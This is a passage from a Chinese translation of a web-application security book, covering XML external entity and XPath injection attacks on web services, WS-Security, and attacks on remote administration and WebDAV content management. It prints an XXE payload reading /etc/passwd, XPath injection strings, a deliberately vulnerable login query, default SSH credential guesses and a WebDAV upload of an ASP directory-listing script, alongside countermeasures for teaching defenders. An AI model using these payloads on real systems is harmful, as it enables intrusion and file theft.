encoding/" xmlns:si="http://soapinterop.org/xsd"><SOAP-ENV:Body><conve
rtResponse><return xsi:type="xsd:string">class.smtp.php
convert.php
convertclient.php
dns.php
dns_rpc.php
dnsclient.php
index.php
mailer.php
</return></convertResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

注入攻击对策

Web服务的输入注入对策和经典的Web应用相同：输入/输出校验。我们在第6章中已经作了详细介绍。

外部实体攻击

XML允许文档或者文件通过外部实体的使用嵌入原始的XML文档中。实体和XML简写类似，允许一个标记与插入XML中的特定文本块或者其他数据关联。例如，实体的声明类似于下面这种形式：

<!DOCTYPE bookcollection [
      <!ENTITY WS "Web Security">
      <!ENTITY W "Wireless Security">
      <!ENTITY NS "Network Security">
      <!ENTITY HS "Host Security">
      <!ENTITY PS "Physical Security">
]>

现在，这些实体可以在XML文档中使用，引用时使用短的名称，在XML文档分发时完全展开：

<bookcollection>
   <title id="1">Web Hacking Exposed</title>
   <category>&WS;</category >
   <year>2010</year>
   <title id="2">Hacking Exposed</title>
   <category>&NS;</category>
   <year>2010</year>
</bookcollection>

解析后的完整XML文档应该是这样的：

<bookcollection>
   <title id="1">Web Hacking Exposed</title>
   <category>Web Security</category >
   <year>2010</year>
   <title id="2">Hacking Exposed</title>
   <category>Network Security</category>
   <year>2010</year>
</bookcollection>

可以看到，这是很好的简写，使得所有内容都很容易管理。实体也可以声明为外部实体，实体声明指向包含分发数据的远程位置，这正是漏洞所在。例如，考虑如下的外部实体引用：

<!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com/test.txt"><!ELEMENT
foo ANY>]>

将这个外部实体引用注入到SOAP请求中，接收的SOAP服务器将读取http://www.test.com/test.txt处的文件，将test.txt的内容注入到SOAP请求。下面是一个SOAP请求的示例，我们已经注入了外部实体请求示例的内容（粗体）：

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com
/test.txt"><!ELEMENT foo ANY>]>
<SOAP-ENV:Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema"
xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAPENV="
http://schemas.xmlsoap.org/soap/envelope/">
      <SOAP-ENV:Body>
            <SOAPSDK4:login xmlns:SOAPSDK4="urn:MBWS-SoapServices">
                   <SOAPSDK1:userName></SOAPSDK1:userName>
                   <SOAPSDK1:authenticationToken></
SOAPSDK1:authenticationToken>
            </SOAPSDK4:login>
            <foo>&test;</foo>
      </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

SOAP服务器返回以下响应：

HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM "http://www.test.com/test.txt";>
<foo>... This is the content from the file test.txt ...</foo>

注意，SOAP服务器解析该请求，并且读取位于“http://www.test.com/test.txt”的内容。然后，服务器显示常规的SOAP输出和文件“test.txt”的内容。更恶意的攻击实例是通知SOAP服务器返回系统密码文件，这只需要修改指向的URL位置就可以做到。将外部实体改成“/etc/passwd”，如下所示，系统将返回密码文件：

<!DOCTYPE foo [<!ENTITY test SYSTEM "/etc/passwd"><!ELEMENT foo ANY>]>

使用这种攻击可以做到：

·在外部实体中包含相对路径，读取系统之外的文件。

·使用SOAP服务器作为网关，从其他Web服务器读取文件。

·发送恶意的文件名（如著名的Win32设备名CON、AUX、COM1）对SOAP服务器进行拒绝服务攻击。

·使用SOAP服务器对其他系统进行匿名端口扫描。

XML外部实体对策

如果你处理不可信的XML输入，应该禁止外部实体。为XML解析器指定一个遇到外部实体时就中止的处理程序，就可以很好地完成这一工作。

XPath和XQuery注入攻击

XPath是一种用于查询XML文档的语言（更多的信息参见本章结尾处的“参考与延伸阅读”小节），它的工作方式与SQL类似，使用的方法也几乎相同。例如，假设我们有一个XML文件，内容如下：

<?xml version="1.0" encoding="utf-8" ?>
<Books>
      <Book>
            <Author>Joel Scambray, Stuart McClure, George Kurtz</Author>
            <Title>Hacking Exposed</Title>
            <Publisher>McGraw-Hill Professional</Publisher>
      </Book>
<Book>
            <Author>Joel Scambray, Stuart McClure</Author>
            <Title> Hacking Exposed Windows 3</Title>
            <Publisher>McGraw-Hill Professional</Publisher>
</Book>
<Book>
            <Author>Joel Scambray, Vincent Liu, Caleb Sima</Author>
            <Title> Hacking Exposed Web Applications 3</Title>
            <Publisher>McGraw-Hill Professional</Publisher>
</Book>
</Books>

XPath查询使开发人员能够浏览和搜索文件中的每个节点，而不需要解析整个XML文件（这么做通常效率很低）。使用XPath查询，开发人员可以简单地返回所有匹配的节点。我们用前面的例子来讲解XPath查询的工作原理。

XML格式化为多个节点。在前一个示例中，Author、Title和Publisher是Book节点的元素。XPath中用/s引用节点。返回这个XML的所有Titles的查询是：/Books/Book/Title。XPath也支持通配符和简写，所以相同结果的等价请求可以简写为//Title。两个斜杠表明从节点的根开始，直到找到匹配Title的结果。请求Book节点下的所有元素的XPath查询将是/Books/Book/*。XPath有许多不同的特性和功能，但是现在我们有足够的背景知识，可以阐述攻击的构建方法。XPath注入的工作原理与SQL注入相同：如果XPath查询用用户提供的输入构建，就可以注入任意的命令。我们来看看Web服务内建的一个XPath查询示例。我们将用户输入转换为XPath查询的代码用粗体显示，这段代码用于确定用户名/密码与文件上设置是否匹配：

XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression Xexpr = nav.Compile("string(//user[name/text()='"+
Username.Text+"' and password/text()='"+Password.Text+ "']/account/
text())");
String account=Convert.ToString(nav.Evaluate(Xexpr));
if (account=="") {
// Login failed.
} else {
// Login succeeded.
}

和SQL注入一样，攻击者现在只要找到一个方法来编造输入，使XPath结果始终返回真值，就可以获得登录的授权。我们用经典的SQL注入技术来实现——注入一个始终为“真”的表达式：

User: ' or 1=1 or ''='
Password: junk

现在XPath查询变成

//user[name/text()='' or 1=1 or ''='' and password/text()='junk'

这个查询将返回有效用户的完整列表并且验证攻击者（即使没有提供有效的用户名/密码）。其他一些常见的能够注入XPath查询的恶意载荷包括：

' or 1=1 or ''='
//*
*/*
@/
count(//*)

使用XPath盲注（参见“参考与延伸阅读”中Amit Klein关于这一主题的杰出论文的链接）也可能提取整个XML数据库。XQuery本质上是XPath的扩展集，具有多种新特性，例如条件语句、程序流和内建及用户定义的函数。除了语法上的不同之外，前面讨论的所有XPath攻击都适用于XQuery。

XPath和XQuery注入对策

因为XPath注入与SQL注入非常相似，所以对策也几乎相同。参见第6章对这些对策的详细讨论。更多避免这些问题的附加信息也可以参见本章结尾处的“参考与延伸阅读”小节。

7.3　Web服务安全基础

对于在公司防火墙之外发布一个辉煌的新Web服务有点紧张？应该如此。本小节将讨论实施Web服务时用于保护你的网上资产的基本安全事项和Web服务专用技术。

Web服务安全措施

由于Web服务是相对新颖的技术，它的安全技术不断地进步。在编写本书的时候，必须实施经典的Web应用安全最佳实践，同时也要关注开发中的安全标准，如WS-Security。本小节我们将讨论这两种手段。

验证

如果你在HTTP上实现Web服务，对服务的访问可以用和Web应用相同的方式进行限制，可以使用第4章中讨论过的标准HTTP验证，如基本验证、摘要验证、Windows集成以及SSL客户端证书。自定义的验证机制也是可行的，例如，在SOAP首部中传递验证凭据或者主体元素。因为Web服务将业务逻辑发布到组织的外围，所有服务连接的验证都应该深入考虑。大部分Web服务的模型都集中于企业到企业的应用而不是企业到客户的，将访问权限制在一群至少是半可信的用户里应该更容易。尽管如此，第4章中讨论过的所有基本HTTP验证技术都面临着攻击，所以不要过分自信。

SSL

因为所依赖的XML通常是明文，所谓SOAP、WSDL和UDDI等Web服务技术特别容易在网络上传递时暴露在窃听和篡改之下。这不是一个新问题，已经使用第1章中讨论过的安全套接字层克服。我们强烈建议用SSL与Web服务结合，保护简单的窃听和篡改攻击。

XML Security

由于Web服务大多在XML上建立，开发出了许多提供基本安全架构的标准来支持服务的使用。下面是这些开发中的技术的简短概述——更多信息的链接可以在本章结尾处的“参考与延伸阅读”小节中找到。

·XML Signature：描述使用XML的数字签名的一种规范，为XML文档或部分提供验证、消息完整性和不可否认性。

·安全断言标记语言（Security Assertion Markup Language，SAML）：共享验证和授权信息的格式。

·可扩展的访问控制标记语言（Extensible Access Control Markup Language，XACML）：信息访问策略的一种XML格式。

WS-Security

2002年4月11日，Microsoft公司、IBM公司和Versign公司宣布发行新的Web服务安全规范Web服务安全性语言（Web Services Security Language，又称WS-Security，这个规范的链接参见本章结尾处的“参考与延伸阅读”小节）。WS-Security包含和扩展了IBM和Microsoft之前提出的类似规范（也就是SOAP-Security、WS-Security和WS-License）中表达的思路。

实质上，WS-Security定义了一组SOAP扩展，可用于实现Web服务通信中的验证、完整性和机密性。更具体地说，WS-Security描述一种格式，用于SOAP消息中的数字签名、加密数据和安全令牌（包括二进制元素如X.509证书和Kerberos票据）。WS-Security很大程度上利用了之前提到的XML安全规范——XML Signature和XML Encryption——意图是成为许多其他规范的构件，这些处理安全相关方面的构件包含WS-Policy、WS-Trust、WS-Privacy、WS-SecureConversation、WS-Federation及WS-Authorization。

描述WS-Security的最佳方式是通过一个示例。下面的SOAP消息包含新的WS-Security首部和加密载荷（我们在左列加入行号，便于描述单个消息功能）：

(001) <?xml version="1.0" encoding="utf-8"?>
(002) <S:Envelope xmlns:S="http://www.w3.org/2001/12/soap-envelope"
            xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
            xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"
            xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
(003)   <S:Header>
(004)      <m:path xmlns:m="http://schemas.xmlsoap.org/rp/">
(005)         <m:action>http://stocktrader.edu/getQuote</m:action>
(006)         <m:to>http://stocktrader.edu/stocks</m:to>
(007)         <m:from>mailto:bob@stocktrader.edu</m:from>
(008)         <m:id>uuid:84b9f5d0-33fb-4a81-b02b-5b760641c1d6</m:id>
(009)      </m:path>
(010)      <wsse:Security>
(011)         [additional headers here for authentication, etc. as required]
(012)         <xenc:EncryptedKey>
(013)             <xenc:EncryptionMethod Algorithm=
                        "http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
(014)             <ds:KeyInfo>
(015)               <ds:KeyName>CN=Alice, C=US</ds:KeyName>
(016)             </ds:KeyInfo>
(017)             <xenc:CipherData>
(018)                <xenc:CipherValue>d2FpbmdvbGRfE0lm4byV0...
(019)                </xenc:CipherValue>
(020)             </xenc:CipherData>
(021)             <xenc:ReferenceList>
(022)                 <xenc:DataReference URI="#enc1"/>
(023)             </xenc:ReferenceList>
(024)         </xenc:EncryptedKey>
(025)         [additional headers here for signature, etc. as required]
(026)      </wsse:Security>
(027)   </S:Header>
(028)   <S:Body>
(029)      <xenc:EncryptedData
                  Type="http://www.w3.org/2001/04/xmlenc#Element"
                  Id="enc1">
(030)         <xenc:EncryptionMethod
              Algorithm="http://www.w3.org/2001/04/xmlenc#3des-cbc"/>
(031)         <xenc:CipherData>
(032)            <xenc:CipherValue>F2m4V0Gr8er94kl3o2hj7...
(033)            </xenc:CipherValue>
(034)         </xenc:CipherData>
(035)      </xenc:EncryptedData>
(036)   </S:Body>
(037) </S:Envelope>

我们来研究这个SOAP消息中的一些元素，看看WS-Security如何提供安全性。在第3行，我们看到SOAP首部的开始，接着在第10行有新的WS-Security首部wsse:Security，这是SOAP首部中的WS-Security信息定界符。我们从第11行中注意到，一个SOAP消息中可能有多个WS-Security首部，描述验证令牌、加密密钥等。在我们的特殊示例中，已经展示了描述用于加密一部分SOAP消息载荷（第12行）的加密密钥的xenc:EncryptedKey首部。注意，这个加密密钥本身用消息接收者（第15行中的Alice）的公钥进行RSA不对称加密，加密载荷元素在第22行上以enc1引用。进一步，在SOAP消息主体的第29行，可以看到用这个密钥以3DES算法加密的数据（注意Id="enc1"）。归纳起来，

·首部行18：3DES对称加密密钥（用接收者公钥加密）。

·主体行32：3DES加密数据载荷。

Alice可以接收这个消息，用它的私钥解密这个3DES密钥，然后使用3DES密钥解密数据。忽略验证和密钥分发问题，我们已经实现了这个SOAP消息载荷的强机密性。

尽管WS-Security提供了传输不可知的、细粒度的和特性丰富的端到端安全机制（与此相反，HTTP上的SSL/TLS工作于点对点的场景下），但由于加密处理（加密和签名）以及SOAP消息尺寸的增加，仍然增加了WS-Security的复杂性和显著的开销。为了确定WS-Security是否比其他选项如HTTPS更加适合于你，必须详细分析你的系统和架构的具体特性。

XML防火墙

在Web服务的发展同时，特殊的安全系统如XML防火墙也已经迅速发展起来。和传统的第三层防火墙不同，XML防火墙聚焦于保护Web服务固有的应用层XML消息，使其免遭本章概述的常见攻击（消息和解析器类攻击）。提供纵深防御总是受欢迎的，特别是对于Web服务提供的敏感的编程接口。但是，XML防火墙还没有成为加强Web服务安全的公认方法。这种情况源于很多因素，包括典型的Web服务内建的验证和SSL保护的可用性，在许多场合下全能的安全网关定制时效率下降的程度，以及传统防火墙技术对应用领域的侵蚀，更高的应用感知能力已经使现有的硬件和软件也能提供相同的保护。

7.4　小结

如果应用间通信的历史重演，Web服务架构通过网络发布应用有关信息只会造成更多的应用入侵。我们在本章提供了一些具体的示例。最起码，Web架构师和开发人员设计和编写安全代码的负担更重了。使用Web服务，你可以逃跑但无处藏身——特别是，SOAP、WSDL和UDDI等技术打开了通向这一风景的大门。记住Web安全的基础——防火墙对于应用级的攻击通常是虚弱的防御，服务器（特别是HTTP服务器）应该保守地配置、完全地修补，尽可能使用稳固的验证和授权，任何时候都要进行合适的输入校验。开发中的规范如WS-Security应该在其成熟时就加以利用。勇敢地面对Web服务的新世界吧！

7.5　参考与延伸阅读

第8章　攻击Web应用管理

在本书的大部分内容中，我们进攻的都是Web应用的前门。还有其他的路径吗？当然有——大部分Web应用服务器提供过多的界面，支持内容管理、服务器管理、配置等功能。很多时候，这些界面可以通过互联网访问，因为这是远程Web应用管理最便利的方法之一。本章将研究一些最常见的管理平台，以及Web应用管理相关的漏洞。我们还将关注常见的Web管理配置错误和开发人员的失误。我们的讨论分为如下部分：

·远程服务器管理

·Web内容管理/创作

·错误的配置

8.1　远程服务器管理

是的，人们偶尔会通过互联网远程管理他们的Web服务器。根据协议的不同选择，这些管理界面可能为机会主义的攻击者们打开一个有吸引力的窗口。这一小节里，我们将简短地介绍一些最常见的机制和相关的弱点。

提示　为了全面了解远程管理漏洞，可以参考McGraw-Hill Professional出版的最新版本的《Hacking Exposed:Network Security Secrets&Solutions》（本书写作期间这本书是第6版）。

开始之前，对Web管理作个总体的简介是顺理成章的。我们建议在专用的机器上运行远程管理服务，然后用这个系统连接到单独的Web服务器——不要在每个Web服务器上部署远程管理功能。这样就缩小了对服务器的可行攻击面，同时又考虑到了从中心位置对多个Web服务器的管理，可以确保对这个中心位置进行严格的限制和审计。如果有人能够侵入远程管理服务器，那么它管理的服务器也都受到了危害。但是，在远程控制方面，我们仍然首选“将所有的鸡蛋放在一个篮子里，看紧这个篮子”的策略。

8.1.1　Telnet

今天我们仍然看到Telnet用于Web服务器的远程管理。需要重申，Telnet是一种明文的协议，本身容易遭到网络中间人的窃听攻击（有些人可能从你和Web服务器之间的通信中嗅探Telnet密码）。不要再提起令人厌烦的关于互联网上嗅探密码难度的争论——问题不在互联网上，而在你的Telnet流量到达互联网所要穿越的其他网络上（想想你的公司网络、ISP网络等）。而且，在可以使用SSH这样更加安全的协议时，为什么还要冒这种风险呢？

如果你对Web服务器是否使用Telnet感兴趣，就用正常的端口扫描程序扫描TCP端口23，或者打开命令提示符，尝试打开一个到Web服务器的Telnet连接。我们还建议对每个Web服务器进行全端口扫描，找出可能监听非标准端口的Telnet服务。修改默认端口是无效的做法（不公开的安全性的完美实例），但是在系统管理员中非常常见。

8.1.2　SSH

安全外壳（Secure Shell，SSH）成为安全远程管理骨干协议已经多年（至少比Telnet安全）。它使用加密保护验证和后续的数据传输，从而避免了Telnet遭受的简单窃听攻击。SSH协议有两个版本——版本1（SSH1）和版本2（SSH2）。SSH1已经被SSH Communications Security（该协议的原始开发商）所废弃，安全性低于SSH2，不应该再使用。我们建议在系统上使用SSH2而完全禁用SSH1。要知道，和所有软件一样，在某些SSH实现中也已经发现了漏洞，所以名称中的“安全”并不意味着你可以忘记那些最佳实践，比如了解最新的安全通告和补丁。

SSH提供多种验证方法。最常用的是密码验证——用户使用密码进行验证，还有公钥验证，这种方法基于数字签名的使用；验证使用用户的公钥和私钥进行。使用公钥验证时，安全存储私钥并使用密码短语进行加密非常重要。

有趣的是，SSH还通过安全拷贝（Secure Copy，scp）实用工具支持文件传输，对于同时想要管理Web服务器内容的人来说更有吸引力。我们在接下来的Web内容管理小节中会再次谈到scp。

因为常用作远程管理工具，所以我们在执行Web应用审计时总是将SSH（TCP端口22）包含在发现和枚举扫描中。在非标准端口上（例如TCP 2222）查找SSH服务器也是明智的，因为系统管理员中，修改默认端口避开检测是非常常见的做法（再次提供了低效的“不公开的安全性”）。使用密码验证时，SSH仍然容易遭到密码猜测攻击，在进行Web审计时，尝试一些较明显的猜测（root:[NULL]、root:root、root:admin、admin:[NULL]）或者使用包含常见词（加上可能出现在目标网站上的词和电子邮件地址就更好了）的字典进行猜测总是没有坏处的。建立这样的字典可以手工进行，或者使用Robin Wood的CeWL（Custom Word List Generator，自定义单词列表生成器）之类的工具。如果SSH服务器使用公钥校验，可能受到Debian OpenSSL可预测随机数生成器漏洞的影响，这个漏洞可能使攻击者能侵害用户账户，进行流量解密和中间人攻击。监测和利用这个问题的方法以及公钥校验的一般信息可以参见本章结尾处的“参考与延伸阅读”小节。

8.1.3　专用管理端口

许多Web服务器带有默认可用的专用Web管理界面。这些界面一般是HTTP服务器的另一个实例，提供对配置服务器所用的HTML或者脚本文件的访问。管理界面一般使用HTTP基本验证。表8-1列出一些流行Web服务器供应商常用的端口（我们在第2章中已经提到了大部分端口，但是因为这些端口的重要性，所以在这里重申一次）。

表8-1　常见默认Web服务器管理端口

因为这些端口中许多是用户定义的，所以不容易识别，除非你愿意进行网络某个子集的65536端口全扫描。许多端口还受到验证机制的保护，通常是HTTP基本验证或者基于表单的登录。我们根据以往经历已经发现了许多容易猜测的密码，因此对于Web审计人员来说，这是个值得研究的领域。

8.1.4　其他管理服务

远程服务器管理有许多实现方式，前面的讨论当然不代表只有那些服务用于管理Web服务器。我们已经了解了各种用于这一目的的远程控制软件，在我们的经验中最流行的是AT&T Labs的VNC（对远程管理工具的全面讨论可参见《Hacking Exposed:Network Security Secrets&Solutions》（（McGraw-Hill Professional）的最新版本）。VNC默认监听TCP端口5800。另一个非常流行的远程管理工具是Microsoft的终端服务，默认监听TCP 3389。

其他流行的远程管理协议包括UDP 161端口上的简单网络管理协议（Simple Network Management Protocol，SNMP）以及TCP/UDP 389端口和TCP 636（LDAPS，LDAP over SSL）上的轻量目录访问协议（Lightweight Directory Access Protocol，LDAP），LDAP有时候用作Web服务器用户（包括管理员）的验证服务器。

8.2　Web内容管理

OK，你有了Web服务器，有了些炙手可热的动态内容……现在这两者怎么结合？显然，你需要某种机制，将文件传输到Web服务器，这种机制通常是最方便的：通过互联网，使用FTP或者SSH（然后使用scp）或者一些专有协议（如Microsoft FrontPage）连接到Web服务器。狡猾的攻击者也在寻求这些接口，作为进入Web应用的备用路径。本小节将讨论大部分常见机制的优劣。

注意　我们将重点讨论互联网的机制，而忽略防火墙后的技术，如Sun的NFS、Microsoft文件共享或者Microsoft Application Center负载平衡和内容分发平台。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

8.2.1　FTP

按照公认的安全准则，你不应该在Web应用服务器上运行HTTP守护进程之外的任何服务。所以可以想象，我们会对运行FTP做出什么评论，考虑到流行FTP服务器软件如华盛顿大学的wuftp软件包中公告的越来越多的漏洞，以及FTP协议不提供加密（你的凭据和数据都以明文传输）的事实：不要在Web服务器上运行FTP！这样做的风险太大，有人将会猜测账户密码或者找到一个漏洞利用程序，能够写入文件系统——这距离网页篡改（或者更糟）只有一步之遥了。这条规则的唯一例外是，FTP服务被限制在特定的小IP地址范围内（即使如此，也最好使用更安全的替代方案如FTPS（FTP over TLS/SSL）或者SFTP（安全文件传输协议Secure File Transfer Protocol，即SSH文件传输协议SSH File Transfer Protocol））。

然而，在全面的Web应用设计中检查FTP总是好的，这样可以确保某些开发人员没有走捷径。FTP工作于TCP端口21，任何正常的端口扫描器都能找到。而且，和往常一样，要记得在非标准端口上对FTP服务器进行更全面的检查。

8.2.2　SSH/scp

本章前面对Web管理技术的讨论中提到过，安全外壳第2版（SSH2）是远程Web服务器管理的推荐标准（如果正常维护）。安全拷贝（scp）实用程序可以用来连接到SSH服务器，通过SSH隧道（验证和加密的）进行文件传输。如果你是命令行的高手，这可能是最好的方法，但是这个工具和图形化内容管理工具与FrontPage（见下一小节）相比显得粗糙。幸好，现在出现了许多图形化客户端（如WinSCP），能够让你的工作更轻松些。

我们已经介绍过，如果你对检查它以及密码猜测和其他攻击感兴趣，SSH默认工作于TCP端口22（还要记得检查非标准端口，如TCP 2222。全面的检查需要验证所有端口）。

8.2.3　FrontPage

Microsoft的FrontPage（FP）Web创作工具是更流行和易用的网站内容管理平台。它主要是针对希望在单个Web服务器上创建和管理内容的低到中端用户，但是常常得到迎合个人和任何规模公司的大型Web主机提供商的支持。

FP实际上是客户端，而FP服务器扩展（FPSEs）在服务器端运行，使授权用户能进行远程内容操纵。FPSEs是作为IIS5的默认组件分发的，具体的实现是一组HTML文件、脚本、可执行文件和DLL，存在于一序列名称为_vti_*的虚拟根目录中，这里的*号代表bin、cnf、log、pvt、script和txt（FrontPage是从Vermeer Technologies公司购买的，因此名称为vti）中的任何一个。下列的请求/响应通常表示FPSEs的运行：

C:\>nc -vv luxor 80
luxor [192.168.234.34] 80 (http) open
GET /_vti_bin/shtml.dll HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 07 Mar 2010 04:38:01 GMT
Content-Type: text/html; charset=windows-1252
<HTML><BODY>Cannot run the FrontPage Server Extensions' Smart HTML
 interpreter on this non-HTML page: ""</BODY></HTML>

FP通信通过一种专有协议FrontPage远程过程调用（Remote Procedure Call，RPC）在HTTP上传播。用POST操作将方法传递给相关的FP DLL，如下例所示：

POST /test2/_vti_bin/_vti_aut/author.dll HTTP/1.0
Date: Thu, 18 Apr 2010 04:44:28 GMT
MIME-Version: 1.0
User-Agent: MSFrontPage/4.0
Host: luxor
Accept: auth/sicily
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
X-Vermeer-Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
Pragma: no-cache
method=open+service%3a4%2e0%2e2%2e3406&service%5fname=%2ftest2

第一行显示POST的目标DLL，最后一行显示调用的方法（在这个例子中，FP客户端尝试打开应用目录test2进行编辑，在该行的结尾你可以看到fname=/test2）。

FPSE方法也可以在URL查询串参数中调用，如（由于页宽限制进行了折行）：

/_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706
&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false
&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&
listDerivedT=false&listBorders=false

默认情况下，FP authoring对服务器的访问使用Windows验证（NTLM over HTTP，参见第4章），所以不要以为攻击者能够轻松地进入运行FPSE的服务器的大门，但是任何对默认安全性的松懈都可能导致这样的问题。如果你担心FP webs的安全性（允许调用FP authoring访问的虚拟根目录），可以在IIS 5上的IISAdmin工具（iis.msc）中右键单击服务器，选择All Tasks|Check Server Extensions（全部任务|检查服务器扩展），然后你会看到下面的提示：

如果你选择检查服务器扩展，将会完成如下的任务：

·检查Web上的读权限。

·检查Service.cnf和Service.lck的读写权限。

·更新Postinfo.html和_vti_inf.htm。

·验证vti_pvt、_vti_log和_vti_bin已安装，_vti_bin可执行。

·确定虚拟根目录或者元数据库设置是否正确和最新。

·检查IUSR_machinename账户没有写权限。

·警告：如果在FAT文件系统上运行，就意味着没有提供任何Web安全性。

提示　你也可以使用Microsoft的UrlScan工具控制对FrontPage的访问；具体内容参见本章结尾处的“参考与延伸阅读”小节。

多年以来，FP服务器扩展在安全方面积累了很多坏名声。最广泛公开的问题是与Unix上的Apache HTTP Server一同运行的FrontPage 98服务器扩展，它会造成服务器的远程root用户权限泄露。还有一系列针对后续版本FP的漏洞利用攻击，严重性较低。

个人而言，我们不认为这些问题会使FP成为一个不好的Web内容管理平台。所有公布的漏洞都早已修复，大部分最近的问题都不怎么严重（跨站脚本漏洞大概是最糟糕的影响了）。FP大体上已经被WebDAV取代，这是接下来的话题。

8.2.4　WebDAV

似乎是对FrontPage不满意，Microsoft很久以前就支持一组HTTP扩展，称为Web分布式创作和版本管理（WebDVA或者DAV），用于支持Web内容管理。WebDAV在RFC2518中描述。Microsoft的IIS Web服务器第5版默认支持WebDAV，在版本6中WebDAV作为一个可选的组件，而WebDAV附加模块可用于大部分其他流行Web服务器（甚至Apache也有一个mod_dav模块）。

我们已经在其他版本的《黑客大曝光》中公开表示了对WebDAV的怀疑，主要是因为它提供了一种直接通过HTTP向Web服务器写入内容的途径，而除了文件系统ACL所提供的安全性之外，WebDAV没有任何内建的安全措施。除非有合适的限制，否则这就是灾难之源。但是，WebDAV已经广泛地部署在从Microsoft客户端和服务器（例如SharePoint）到开源产品如Alfresco的各种产品上，所以讨论其安全品质现在可能没有什么意义。表8-2展示了一些更容易被误用的WebDAV方法。关于表8-2有两点需要说明：对于COPY方法，所有WebDAV资源必须支持这一方法，但是即使应用声明该权限存在，也不意味着你总是有能力复制。使用PROPFIND方法，空的请求将返回默认属性的列表。然后，攻击者可以创建一个符合规定的PROPFIND请求，包含具有用于搜索的参数的XML请求主体。

多年以来，在现成的WebDAV实现中有少数公开的漏洞。大部分漏洞的严重程度都是低到中等（从目录结构泄露到拒绝服务）。目前，黑客社区似乎还集中于容易实现的目标，许多发布的通告都与DoS问题相关。当然，本章关注的不是现有系统的缺陷（参见第3章），而是错误的配置。让我们来关注一些识别和利用WebDAV错误配置的常见方法。

表8-2　可能遭到误用的WebDAV方法

Web服务器一般只为网站的有限部分启用WebDAV。例如，网站可能有一个“upload”文件夹（http://www.site.com/upload/）启用了PUT命令，让用户上传内容到网站。因为网站的每个文件夹和子文件夹都有不同的命令和权限，评估的第一步是识别与服务器上每个文件夹和文件相关的权限。你可以用OPTIONS命令很轻松地完成这一任务。发现服务器文件和文件夹可用权限最有效的方法是采用网站爬行收集到的数据，枚举每个文件夹和文件，识别具有写入权限的内容。当你在结果中发现MOVE、MKCOL、PUT和DELETE方法时，就有利可图了。下面的HTTP请求示例说明了如何使用OPTIONS命令映射网站根文件夹上的WebDAV：

OPTIONS / HTTP/1.1
Host: www.site.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Wed, 17 Feb 2010 11:26:31 GMT
X-Powered-By: ASP.NET
MS-Author-Via: MS-FP/4.0,DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT,
POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

接下来检查给定文件夹上存在的权限，这可以为我们指出更多通过WebDAV能够攻击的有趣内容。我们以粗体强调显示示例中的文件夹允许的修改命令：

OPTIONS /Folder1/any_filename HTTP/1.0
Host: www.site.com
HTTP/1.1 200 OK
Connection: close
Date: Wed, 17 Feb 2010 9:15:01 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, MKCOL, LOCK, UNLOCK
Cache-Control: private

从这个例子你可以看到，这个文件夹允许一些相当强大的WebDAV方法（DELETE、PUT、MKCOL），攻击者可以轻松地利用它们。我们已经见过的实例之一是上传一个脚本在整个Web根目录中递归地列出目录（在这个例子中，是一个.asp页面）：

PUT /writable-folder/dirlisting.asp HTTP/1.1
Host: www.site.com
Content-Length: 1279
<h3>Directory listing of Webroot</h3>
<% ListFolderContents(Server.MapPath("/")) %>
<% sub ListFolderContents(path)
      dim fs, folder, file, item, url
      set fs = CreateObject("Scripting.FileSystemObject")
      set folder = fs.GetFolder(path)
      Response.Write("<li><cTypeface:Bold>" & folder.Name & "</b> - " _
      & folder.Files.Count & " files, ")
      if folder.SubFolders.Count > 0 then
      Response.Write(folder.SubFolders.Count & " directories, ")
      end if
      Response.Write(Round(folder.Size / 1024) & " KB total." _
& vbCrLf)
      Response.Write("<ul>" & vbCrLf)
for each item in folder.SubFolders
ListFolderContents(item.Path)
next
for each item in folder.Files
url = MapURL(item.path)
Response.Write("<li><a href=""" & url & """>" & item.Name & "</a> - " _
& item.Size & " bytes, " _
& "last modified on " & item.DateLastModified & "." _
& "</li>" & vbCrLf)
next
Response.Write("</ul>" & vbCrLf)
Response.Write("</li>" & vbCrLf)
end sub
function MapURL(path)
dim rootPath, url
rootPath = Server.MapPath("/")
url = Right(path, Len(path) - Len(rootPath))
MapURL = Replace(url, "\", "/")
end function %>
HTTP/1.1 201 Created
Connection: close
Date: Tue, 20 Sep 2010 19:31:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://www.site.com/writable-folder/myfile.asp
Content-Length: 0
